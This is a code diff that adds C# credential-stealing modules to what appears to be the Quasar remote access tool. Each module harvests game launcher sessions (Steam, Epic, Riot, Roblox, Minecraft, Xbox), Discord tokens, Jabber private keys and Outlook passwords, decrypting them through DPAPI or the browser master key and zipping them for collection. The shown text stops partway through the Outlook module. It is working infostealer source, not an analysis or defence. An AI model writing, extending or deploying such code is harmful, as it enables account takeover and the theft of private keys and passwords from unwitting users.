+using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class ElectronicArts : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Electronic Arts", "EA Desktop", "CEF"); + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Electronic Arts"; + int num = 0; + string path = Path.Combine(text, "BrowserCache", "EADesktop", "Local Storage", "leveldb"); + if (Directory.Exists(path)) + { + string[] files = Directory.GetFiles(path); + foreach (string text2 in files) + { + try + { + if (string.Equals(Path.GetExtension(text2), ".ldb", StringComparison.OrdinalIgnoreCase)) + { + string text3 = "Electronic Arts\\leveldb\\" + Path.GetFileName(text2); + zip.AddFile(text3, File.ReadAllBytes(text2)); + counterApplications.Files.Add(text2 + " => " + text3); + num++; + } + } + catch + { + } + } + } + string text4 = Path.Combine(text, "BrowserCache", "EADesktop", "Session Storage", "000003.log"); + if (File.Exists(text4)) + { + try + { + string text5 = "Electronic Arts\\Session Storage\\000003.log"; + zip.AddFile(text5, File.ReadAllBytes(text4)); + counterApplications.Files.Add(text4 + " => " + text5); + num++; + } + catch + { + } + } + if (num != 0) + { + counterApplications.Files.Add("Electronic Arts\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Epic.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Epic.cs new file mode 100755 index 0000000..5c5013f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Epic.cs @@ -0,0 +1,27 @@ +using System; +using System.IO; +using System.Text; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class Epic : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini"); + if (File.Exists(text)) + { + string text2 = File.ReadAllText(text); + if (text2.Contains("[RememberMe]") || text2.Contains("[Offline]")) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Epic Games"; + string text3 = "Epic\\GameUserSettings.ini"; + zip.AddFile(text3, Encoding.UTF8.GetBytes(text2)); + counterApplications.Files.Add(text + " => " + text3); + counter.Games.Add(counterApplications); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Growtopia.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Growtopia.cs new file mode 100755 index 0000000..90c3eac --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Growtopia.cs @@ -0,0 +1,22 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class Growtopia : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Growtopia", "save.dat"); + if (File.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Growtopia"; + string text2 = "Growtopia\\save.dat"; + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Minecraft.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Minecraft.cs new file mode 100755 index 0000000..ae4a8f3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Minecraft.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class Minecraft : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + string environmentVariable = Environment.GetEnvironmentVariable("USERPROFILE"); + Dictionary dictionary = new Dictionary(StringComparer.OrdinalIgnoreCase); + dictionary.Add("Intent", Path.Combine(environmentVariable, "intentlauncher", "launcherconfig")); + dictionary.Add("Lunar", Path.Combine(environmentVariable, ".lunarclient", "settings", "game", "accounts.json")); + dictionary.Add("TLauncher", Path.Combine(folderPath, ".minecraft", "TlauncherProfiles.json")); + dictionary.Add("Feather", Path.Combine(folderPath, ".feather", "accounts.json")); + dictionary.Add("Meteor", Path.Combine(folderPath, ".minecraft", "meteor-client", "accounts.nbt")); + dictionary.Add("Impact", Path.Combine(folderPath, ".minecraft", "Impact", "alts.json")); + dictionary.Add("Novoline", Path.Combine(folderPath, ".minecraft", "Novoline", "alts.novo")); + dictionary.Add("CheatBreakers", Path.Combine(folderPath, ".minecraft", "cheatbreaker_accounts.json")); + dictionary.Add("Microsoft Store", Path.Combine(folderPath, ".minecraft", "launcher_accounts_microsoft_store.json")); + dictionary.Add("Rise", Path.Combine(folderPath, ".minecraft", "Rise", "alts.txt")); + dictionary.Add("Rise (Intent)", Path.Combine(environmentVariable, "intentlauncher", "Rise", "alts.txt")); + dictionary.Add("Paladium", Path.Combine(folderPath, "paladium-group", "accounts.json")); + dictionary.Add("PolyMC", Path.Combine(folderPath, "PolyMC", "accounts.json")); + dictionary.Add("Badlion", Path.Combine(folderPath, "Badlion Client", "accounts.json")); + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "Minecraft" + }; + foreach (KeyValuePair item in dictionary) + { + if (File.Exists(item.Value)) + { + try + { + string path = Path.Combine("Minecraft", item.Key); + string fileName = Path.GetFileName(item.Value); + string text = Path.Combine(path, fileName); + zip.AddFile(text, File.ReadAllBytes(item.Value)); + counterApplications.Files.Add(item.Value + " => " + text); + } + catch + { + } + } + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Minecraft\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Riot.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Riot.cs new file mode 100755 index 0000000..0e3a029 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Riot.cs @@ -0,0 +1,22 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class Riot : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Riot Games", "Riot Client", "Data", "RiotGamesPrivateSettings.yaml"); + if (File.Exists(text)) + { + string text2 = Path.Combine("Riot", "RiotGamesPrivateSettings.yaml"); + zip.AddFile(text2, File.ReadAllBytes(text)); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Riot"; + counterApplications.Files.Add(text + " => " + text2); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Roblox.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Roblox.cs new file mode 100755 index 0000000..35f68a1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Roblox.cs @@ -0,0 +1,71 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Games; + +public class Roblox : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Roblox", "LocalStorage", "RobloxCookies.dat"); + if (!File.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Roblox"; + Match match = Regex.Match(File.ReadAllText(text), "\"CookiesData\"\\s*:\\s*\"(.*?)\"", RegexOptions.Singleline); + if (!match.Success) + { + return; + } + byte[] array = DpApi.Decrypt(Convert.FromBase64String(match.Groups[1].Value)); + if (array == null) + { + return; + } + string text2 = "Roblox\\cookies.txt"; + zip.AddTextFile(text2, Encoding.UTF8.GetString(array).Replace("; ", "\n").Replace("#HttpOnly_.roblox.com", ".roblox.com")); + counterApplications.Files.Add(text + " => " + text2); + string text3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Roblox", "LocalStorage", "appStorage.json"); + if (!File.Exists(text3)) + { + return; + } + List list = new List(); + string input = File.ReadAllText(text3); + string pattern = "\"(PlayerExeLaunchTime|BrowserTrackerId|UserId|Username|DisplayName|CountryCode)\"\\s*:\\s*\"([^\"]*)\""; + foreach (Match item in Regex.Matches(input, pattern)) + { + string value = item.Groups[1].Value; + string value2 = item.Groups[2].Value; + if (!string.IsNullOrEmpty(value2)) + { + list.Add(value + ": " + value2 + "\n"); + } + } + Match match2 = Regex.Match(input, "\"WebViewUserAgent\"\\s*:\\s*\"([^\"]*)\""); + if (match2.Success) + { + string text4 = "Roblox\\useragent.txt"; + zip.AddTextFile(text4, match2.Groups[1].Value); + counterApplications.Files.Add(text3 + " => " + text4); + } + if (list.Count > 0) + { + string text5 = "Roblox\\information.txt"; + zip.AddTextFile(text5, string.Concat(list)); + counterApplications.Files.Add(text3 + " => " + text5); + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Roblox\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Steam.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Steam.cs new file mode 100755 index 0000000..125b5f7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Steam.cs @@ -0,0 +1,169 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Games; + +public class Steam : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Valve\\Steam"); + if (registryKey == null || registryKey.GetValue("SteamPath") == null) + { + return; + } + string text = registryKey.GetValue("SteamPath").ToString(); + if (!Directory.Exists(text)) + { + return; + } + string path = "Steam"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Steam"; + try + { + RegistryKey registryKey2 = registryKey.OpenSubKey("Apps"); + if (registryKey2 != null) + { + List list = new List(); + string[] subKeyNames = registryKey2.GetSubKeyNames(); + foreach (string text2 in subKeyNames) + { + using RegistryKey registryKey3 = registryKey.OpenSubKey("Apps\\" + text2); + if (registryKey3 != null) + { + string text3 = (registryKey3.GetValue("Name") as string) ?? "Unknown"; + string text4 = (((int?)registryKey3.GetValue("Installed") == 1) ? "Yes" : "No"); + string text5 = (((int?)registryKey3.GetValue("Running") == 1) ? "Yes" : "No"); + string text6 = (((int?)registryKey3.GetValue("Updating") == 1) ? "Yes" : "No"); + list.Add("Application: " + text3 + "\n\tGameID: " + text2 + "\n\tInstalled: " + text4 + "\n\tRunning: " + text5 + "\n\tUpdating: " + text6); + } + } + if (list.Count > 0) + { + string text7 = Path.Combine(path, "Apps.txt"); + zip.AddTextFile(text7, string.Join("\n\n", list)); + counterApplications.Files.Add("Software\\Valve\\Steam\\Apps => " + text7); + } + } + } + catch + { + } + try + { + string[] subKeyNames = Directory.GetFiles(text); + foreach (string text8 in subKeyNames) + { + if (text8.Contains("ssfn")) + { + byte[] content = File.ReadAllBytes(text8); + string text9 = Path.Combine(path, "ssfn", Path.GetFileName(text8)); + zip.AddFile(text9, content); + counterApplications.Files.Add(text8 + " => " + text9); + } + } + } + catch + { + } + try + { + string path2 = Path.Combine(text, "config"); + if (Directory.Exists(path2)) + { + string[] subKeyNames = Directory.GetFiles(path2, "*.vdf"); + foreach (string text10 in subKeyNames) + { + string text11 = Path.Combine(path, "configs", Path.GetFileName(text10)); + zip.AddFile(text11, File.ReadAllBytes(text10)); + counterApplications.Files.Add(text10 + " => " + text11); + } + } + } + catch + { + } + try + { + string text12 = registryKey.GetValue("AutoLoginUser")?.ToString() ?? "Unknown"; + string text13 = (((int?)registryKey.GetValue("RememberPassword") == 1) ? "Yes" : "No"); + string text14 = "Autologin User: " + text12 + "\nRemember password: " + text13; + string text15 = Path.Combine(path, "SteamInfo.txt"); + zip.AddTextFile(text15, text14); + counterApplications.Files.Add("Software\\Valve\\Steam => " + text15); + } + catch + { + } + try + { + string[] source = new string[2] + { + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Steam", "local.vdf"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Steam", "local.vdf") + }; + string[] source2 = new string[2] + { + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Steam", "config", "loginusers.vdf"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Steam", "config", "loginusers.vdf") + }; + string text16 = source.FirstOrDefault(File.Exists); + string text17 = source2.FirstOrDefault(File.Exists); + if (text16 == null || text17 == null) + { + return; + } + string pattern = "\"AccountName\"\\s*\"([^\"]+)\""; + string pattern2 = "([a-fA-F0-9]{500,2000})"; + MatchCollection matchCollection = Regex.Matches(File.ReadAllText(text17), pattern); + MatchCollection matchCollection2 = Regex.Matches(File.ReadAllText(text16), pattern2); + if (matchCollection.Count == 0 || matchCollection2.Count == 0) + { + return; + } + List list2 = new List(); + foreach (Match item in matchCollection) + { + byte[] bytes = Encoding.UTF8.GetBytes(item.Groups[1].Value); + foreach (Match tokenMatch in matchCollection2) + { + byte[] encryptedData = (from x in Enumerable.Range(0, tokenMatch.Value.Length / 2) + select Convert.ToByte(tokenMatch.Value.Substring(x * 2, 2), 16)).ToArray(); + try + { + byte[] bytes2 = ProtectedData.Unprotect(encryptedData, bytes, DataProtectionScope.LocalMachine); + list2.Add(Encoding.UTF8.GetString(bytes2)); + } + catch + { + continue; + } + break; + } + } + if (list2.Count > 0) + { + string text18 = Path.Combine(path, "Token.txt"); + zip.AddTextFile(text18, string.Join("\n", list2)); + counterApplications.Files.Add(text16 + " => " + text18); + counterApplications.Files.Add(text17 + " => " + text18); + } + } + catch + { + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Steam\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Uplay.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Uplay.cs new file mode 100755 index 0000000..edf21c4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Uplay.cs @@ -0,0 +1,22 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class Uplay : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Ubisoft Game Launcher"); + if (Directory.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Uplay"; + zip.AddDirectoryFiles(text, "Uplay"); + counterApplications.Files.Add(text + " => \\Uplay"); + counterApplications.Files.Add("Uplay\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/XBox.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/XBox.cs new file mode 100755 index 0000000..6ff43d9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/XBox.cs @@ -0,0 +1,53 @@ +using System; +using System.IO; +using System.Linq; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class XBox : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Packages"); + if (!Directory.Exists(path)) + { + return; + } + string[] directories = Directory.GetDirectories(path, "Microsoft.Xbox*", SearchOption.TopDirectoryOnly); + if (directories == null || directories.Length == 0) + { + return; + } + string[] source = new string[9] { ".ini", ".cfg", ".json", ".xml", ".log", ".dat", ".db", ".yaml", ".txt" }; + string[] array = directories; + foreach (string text in array) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Xbox"; + string[] files = Directory.GetFiles(text, "*.*", SearchOption.AllDirectories); + foreach (string text2 in files) + { + try + { + FileInfo fileInfo = new FileInfo(text2); + if (fileInfo.Length < 10000000 && source.Contains(fileInfo.Extension.ToLower())) + { + string path2 = text2.Substring(text.Length).TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar); + string text3 = Path.Combine("Xbox", Path.GetFileName(text), path2).Replace('\\', '/'); + zip.AddFile(text3, File.ReadAllBytes(fileInfo.FullName)); + counterApplications.Files.Add(fileInfo.FullName + " => " + text3); + } + } + catch + { + } + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Xbox\\"); + counter.Games.Add(counterApplications); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Discord.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Discord.cs new file mode 100755 index 0000000..fda7c9a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Discord.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Messangers; + +public class Discord : ITarget +{ + private static readonly Regex _tokenRegex = new Regex("(mfa\\.[\\w-]{80,})|((MT|OD)[\\w-]{22,24}\\.[\\w-]{6}\\.[\\w-]{25,110})", RegexOptions.IgnoreCase | RegexOptions.Compiled); + + private static readonly Regex _encryptedRegex = new Regex("\"dQw4w9WgXcQ:([^\"]+)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled); + + public void Collect(InMemoryZip zip, Counter counter) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Discord"; + counterApplications.Files.Add("Discord\\"); + Task task = Task.Run(delegate + { + Parallel.ForEach(Paths.Discord, delegate(string path) + { + string text = path + "\\Local Storage\\leveldb"; + if (Directory.Exists(text)) + { + string localstate = path + "\\Local State"; + List list = TokensGrabber(text, localstate); + if (list.Any()) + { + string browserName = Paths.GetBrowserName(path); + string text2 = "Discord\\" + browserName + ".txt"; + counterApplications.Files.Add(path + " => " + text2); + zip.AddTextFile(text2, string.Join("\n", list)); + } + } + }); + }); + Task task2 = Task.Run(delegate + { + Parallel.ForEach(Paths.Chromium, delegate(string path) + { + if (Directory.Exists(path)) + { + Parallel.ForEach(Directory.GetDirectories(path), delegate(string profile) + { + string text = profile + "\\Local Storage\\leveldb"; + if (Directory.Exists(text)) + { + string localstate = path + "\\Local State"; + List list = TokensGrabber(text, localstate); + if (list.Any()) + { + string browserName = Paths.GetBrowserName(path); + string text2 = "Discord\\" + browserName + " " + Path.GetFileName(profile) + ".txt"; + counterApplications.Files.Add(path + " => " + text2); + zip.AddTextFile(text2, string.Join("\n", list)); + } + } + }); + } + }); + }); + Task.WaitAll(task, task2); + if (counterApplications.Files.Count() > 0) + { + counter.Messangers.Add(counterApplications); + } + } + + private List TokensGrabber(string localstorage, string localstate) + { + List source = SearchFiles(localstorage); + ConcurrentBag tokens = new ConcurrentBag(); + ConcurrentBag tokensEncrypted = new ConcurrentBag(); + Parallel.ForEach(source, delegate(string localdb) + { + try + { + string content = File.ReadAllText(localdb); + Parallel.ForEach(SearchToken(content), delegate(string token) + { + tokens.Add(token); + }); + Parallel.ForEach(SearchEncryptedTokens(content), delegate(string token) + { + tokensEncrypted.Add(token); + }); + } + catch + { + } + }); + ConcurrentBag distinctTokens = new ConcurrentBag(tokens.Distinct()); + if (!tokensEncrypted.Any()) + { + return distinctTokens.Distinct().ToList(); + } + byte[] key = LocalState.MasterKeyV10(localstate); + if (key == null) + { + return distinctTokens.Distinct().ToList(); + } + Parallel.ForEach(tokensEncrypted.Distinct(), delegate(string encrypted) + { + try + { + byte[] array = AesGcm.DecryptBrowser(Convert.FromBase64String(encrypted), key, null, checkprefix: false); + if (array != null) + { + distinctTokens.Add(Encoding.UTF8.GetString(array).Trim()); + } + } + catch + { + } + }); + return distinctTokens.Distinct().ToList(); + } + + private List SearchFiles(string path) + { + ConcurrentBag locals = new ConcurrentBag(); + string[] allowedExtensions = new string[3] { ".log", ".ldb", ".sqlite" }; + Parallel.ForEach(Directory.GetFiles(path), delegate(string file) + { + if (allowedExtensions.Contains(Path.GetExtension(file))) + { + locals.Add(file); + } + }); + return locals.ToList(); + } + + private List ExtractMatches(string content, Regex regex) + { + HashSet hashSet = new HashSet(StringComparer.OrdinalIgnoreCase); + foreach (Match item in regex.Matches(content)) + { + string value = item.Groups[1].Value; + if (!string.IsNullOrWhiteSpace(value)) + { + hashSet.Add(value); + } + } + return hashSet.ToList(); + } + + private List SearchToken(string content) + { + return ExtractMatches(content, _tokenRegex); + } + + private List SearchEncryptedTokens(string content) + { + return ExtractMatches(content, _encryptedRegex); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Element.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Element.cs new file mode 100755 index 0000000..0d90d85 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Element.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Element : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Element\\Local Storage\\leveldb"); + if (Directory.Exists(text)) + { + string text2 = "Element\\leveldb"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Element"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Icq.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Icq.cs new file mode 100755 index 0000000..aeb5b6c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Icq.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Icq : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ICQ", "0001"); + if (Directory.Exists(text)) + { + string text2 = "ICQ\\0001"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "ICQ"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Jabber.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Jabber.cs new file mode 100755 index 0000000..4acbc0d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Jabber.cs @@ -0,0 +1,43 @@ +using System; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Jabber : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + string[] source = new string[3] + { + folderPath + "\\.purple\\", + folderPath + "\\Psi\\profiles\\default\\", + folderPath + "\\Psi+\\profiles\\default\\" + }; + string[] files2 = new string[4] { "accounts.xml", "otr.fingerprints", "otr.keys", "otr.private_key" }; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Jabber"; + Parallel.ForEach(source, delegate(string dir) + { + if (Directory.Exists(dir)) + { + Parallel.ForEach(files2, delegate(string file2) + { + if (File.Exists(dir + file2)) + { + string text = "Jabber\\" + file2; + zip.AddFile(text, File.ReadAllBytes(dir + file2)); + counterApplications.Files.Add(dir + file2 + " => " + text); + } + }); + } + }); + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Jabber\\"); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/MicroSIP.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/MicroSIP.cs new file mode 100755 index 0000000..bebfebb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/MicroSIP.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class MicroSIP : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MicroSIP"); + if (Directory.Exists(text)) + { + string text2 = "MicroSIP\\"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "MicroSIP"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Outlook.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Outlook.cs new file mode 100755 index 0000000..e97efd0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Outlook.cs @@ -0,0 +1,152 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; +using Microsoft.Win32; + +namespace Intelix.Targets.Messangers; + +public class Outlook : ITarget +{ + private static readonly Regex MailAddressRx = new Regex("^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$", RegexOptions.Compiled); + + private static readonly Regex HostnameRx = new Regex("^(?!:\\/\\/)([a-zA-Z0-9-_]+\\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\\.[a-zA-Z]{2,11}?$", RegexOptions.Compiled); + + private static readonly string[] RegistryRoots = new string[4] { "Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", "Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", "Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676" }; + + private static readonly string[] KeysToCheck = new string[28] + { + "SMTP Email Address", "SMTP Server", "POP3 Server", "POP3 User Name", "SMTP User Name", "NNTP Email Address", "NNTP User Name", "NNTP Server", "IMAP Server", "IMAP User Name", + "Email", "HTTP User", "HTTP Server URL", "POP3 User", "IMAP User", "HTTPMail User Name", "HTTPMail Server", "SMTP User", "POP3 Password2", "IMAP Password2", + "NNTP Password2", "HTTPMail Password2", "SMTP Password2", "POP3 Password", "IMAP Password", "NNTP Password", "HTTPMail Password", "SMTP Password" + }; + + public void Collect(InMemoryZip zip, Counter counter) + { + StringBuilder stringBuilder = new StringBuilder(); + string[] registryRoots = RegistryRoots; + foreach (string rootPath in registryRoots) + { + stringBuilder.Append(ReadRegistryTree(rootPath)); + } + if (stringBuilder.Length != 0) + { + string text = Path.Combine("Outlook", "Outlook.txt"); + zip.AddTextFile(text, stringBuilder.ToString()); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Outlook"; + registryRoots = RegistryRoots; + foreach (string text2 in registryRoots) + { + counterApplications.Files.Add(text2 + " => " + text); + } + counterApplications.Files.Add(text); + counter.Applications.Add(counterApplications); + } + } + + private string ReadRegistryTree(string rootPath) + { + StringBuilder stringBuilder = new StringBuilder(); + Stack stack = new Stack(); + stack.Push(rootPath); + while (stack.Count > 0) + { + string text = stack.Pop(); + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text, writable: false); + if (registryKey == null) + { + continue; + } + string[] keysToCheck = KeysToCheck; + foreach (string text2 in keysToCheck) + { + object value = registryKey.GetValue(text2); + if (value != null) + { + string value2 = FormatValue(text2, value); + if (!string.IsNullOrEmpty(value2)) + { + stringBuilder.AppendLine(value2); + } + } + } + keysToCheck = registryKey.GetSubKeyNames(); + foreach (string path in keysToCheck) + { + try + { + stack.Push(Path.Combine(text, path)); + } + catch + { + } + } + } + if (stringBuilder.Length > 0) + { + stringBuilder.AppendLine(); + } + return stringBuilder.ToString(); + } + + private string FormatValue(string valueName, object raw) + { + if (raw is byte[] array) + { + string text = DecryptValue(array); + if (!string.IsNullOrEmpty(text)) + { + 